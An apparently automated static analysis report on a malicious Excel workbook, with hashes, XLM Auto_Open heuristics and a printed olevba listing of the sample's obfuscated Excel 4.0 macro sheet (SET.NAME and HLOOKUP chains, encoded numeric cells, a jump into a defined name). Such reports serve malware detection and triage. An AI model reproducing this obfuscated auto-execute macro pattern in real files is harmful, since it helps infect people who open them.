Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 46c34712b0415e68…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:04 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 2f21e8bdf4ec968be9c650113b20695d SHA-1: 22a5eaf5a7214f7e9d8bf664a91c62d6d2a862d5 SHA-256: 46c34712b0415e682308c418611ab89131be094bec5284a032658f3b32536ffc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6612 bytes
SHA-256: 2efb9f0921abfd26f1ae05ae31a02f19da0e44c2221ea1e837a14a3464d04d50
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HZLV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G176 
' 0018     21 LABEL : Cell Value, String Constant - CbXuIC len=0 
' 0018     24 LABEL : Cell Value, String Constant - dafLtLhRw len=0 
' 0018     25 LABEL : Cell Value, String Constant - dFsneqXFmL len=0 
' 0018     23 LABEL : Cell Value, String Constant - dYCvxzXH len=0 
' 0018     20 LABEL : Cell Value, String Constant - EKTyy len=0 
' 0018     21 LABEL : Cell Value, String Constant - gbCmup len=0 
' 0018     23 LABEL : Cell Value, String Constant - HYzWfUTH len=0 
' 0018     27 LABEL : Cell Value, String Constant - LJKXUUyFYaon len=0 
' 0018     24 LABEL : Cell Value, String Constant - mFWfGdCYY len=0 
' 0018     26 LABEL : Cell Value, String Constant - nBxwUrYnFwI len=0 
' 0018     23 LABEL : Cell Value, String Constant - OEMKbVdu len=0 
' 0018     24 LABEL : Cell Value, String Constant - ovdninIgB len=0 
' 0018     23 LABEL : Cell Value, String Constant - tLUDEUVG len=0 
' 0018     27 LABEL : Cell Value, String Constant - tWQLBQzLQjLN len=0 
' 0018     26 LABEL : Cell Value, String Constant - UJpubrmgYOI len=0 
' 0018     20 LABEL : Cell Value, String Constant - WKyMJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - YphTWIzCdP len=0 
' 0018     25 LABEL : Cell Value, String Constant - ziOtCRjCFs len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZLPAvRiYTp len=0 
' 0018     24 LABEL : Cell Value, String Constant - zRvMBEudn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HZLV,G77,"SET.NAME("LJKXUUyFYaon",0+VALUE("0"))",""
'  HZLV,T78,"",242.00000000000000000000
'  HZLV,T79,"",-771.00000000000000000000
'  HZLV,G80,"SET.NAME("EKTyy",LJKXUUyFYaon)",""
'  HZLV,T80,"",-784.00000000000000000000
'  HZLV,T81,"",122.00000000000000000000
'  HZLV,T82,"",-507.00000000000000000000
'  HZLV,T83,"",804.00000000000000000000
'  HZLV,G84,"SET.NAME("tLUDEUVG",LJKXUUyFYaon)",""
'  HZLV,G88,"SET.NAME("WKyMJ",COUNTA(mFWfGdCYY))",""
'  HZLV,G90,"SET.NAME("dFsneqXFmL",COUNTA(tWQLBQzLQjLN))",""
'  HZLV,G95,[],""
'  HZLV,G98,"SET.NAME("CbXuIC","")",""
'  HZLV,G101,"EKTyy",""
'  HZLV,G105,"SET.NAME("HYzWfUTH",HLOOKUP("*",mFWfGdCYY,EKTyy,FALSE))",""
'  HZLV,G110,"UJpubrmgYOI",""
'  HZLV,G115,"SET.NAME("gbCmup",LJKXUUyFYaon)",""
'  HZLV,G117,[],""
'  HZLV,G121,"gbCmup",""
'  HZLV,G123,"dafLtLhRw",""
'  HZLV,G127,"ZLPAvRiYTp",""
'  HZLV,G131,"dYCvxzXH",""
'  HZLV,G136,"SET.NAME("OEMKbVdu",VALUE(HLOOKUP("*",tWQLBQzLQjLN,dYCvxzXH,FALSE)))",""
'  HZLV,G141,"zRvMBEudn",""
'  HZLV,G145,"CbXuIC",""
'  HZLV,G148,"tLUDEUVG",""
'  HZLV,G152,NEXT(),""
'  HZLV,G157,"YphTWIzCdP",""
'  HZLV,G162,[],""
'  HZLV,G167,"ovdninIgB",""
'  HZLV,G171,NEXT(),""
'  HZLV,G174,RETURN(),""
'  HZLV,G201,"SET.NAME("ziOtCRjCFs",G77)",""
'  HZLV,G203,"mFWfGdCYY",""
'  HZLV,G207,"SET.NAME("tWQLBQzLQjLN",R61C12)",""
'  HZLV,G212,"SET.NAME("ovdninIgB",220)",""
'  HZLV,G216,"SET.NAME("nBxwUrYnFwI",7)",""
'  HZLV,G219,ziOtCRjCFs(),""
'  HZLV,G220,HALT(),""

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